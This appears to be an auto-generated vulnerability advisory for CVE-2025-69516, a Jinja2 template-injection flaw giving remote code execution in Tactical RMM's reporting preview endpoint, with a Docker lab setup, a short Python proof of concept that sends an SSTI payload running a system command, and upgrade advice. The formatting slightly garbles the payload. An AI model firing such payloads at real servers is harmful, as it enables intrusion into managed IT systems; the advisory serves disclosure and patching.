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The CVE-2025-69516 vulnerability is a severe Server-Side Template Injection (SSTI) flaw residing in the reporting template preview endpoint of Tactical RMM. Specifically, when user-controlled template content is passed directly to the Jinja2 rendering engine via Environment.from_string() without proper sandboxing or input validation, an authenticated attacker can break out of the intended template context. This design flaw allows threat actors to inject arbitrary Python expressions and execute remote system commands under the security context of the underlying web application service. Because the application evaluates these inputs directly during preview generation, exploitation bypasses standard security filters, leading to immediate system compromise and potential full control over managed host endpoints.
DailyCVE Form:
Platform: Tactical RMM
Version: < 1.4.0
Vulnerability: SSTI RCE
Severity: Critical
date: 2026-01-29
Prediction: 2026-02-15
What Undercode Say
The vulnerability highlights the critical danger of handling template strings dynamically without strict sandboxing filters. Developers must treat all template preview components as high-risk vectors, enforcing strict parameter parsing and privilege boundaries to block execution chains.
Bash Commands and Codes
mkdir tactical-lab && cd tactical-lab cat << EOF > docker-compose.yml version: "3.7" services: trmm-app: image: tacticalrmm/api:1.3.1 ports: - "18443:18443" EOF docker compose up -d
Exploit: (Educational Purposes!)
import requests
url = "https://127.0.0.1:18443/reporting/templates/preview/"
headers = {"Authorization": "Bearer <valid_token>"}
payload = "{{ cycler.<strong>init</strong>.<strong>globals</strong>.os.popen('id').read() }}"
response = requests.post(url, json={"template": payload}, verify=False, headers=headers)
print(response.text)
Protection:
Upgrade Tactical RMM to version 1.4.0 or higher where template sandboxing is properly enforced, restrict administrative roles, and monitor anomalous execution patterns originating from web worker threads.
Impact:
Complete remote code execution on the server, unauthorized access to underlying endpoints, potential lateral movement across managed IT assets, and total compromise of system confidentiality and integrity.
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Sources:
Reported By: github.com
Extra Source Hub:
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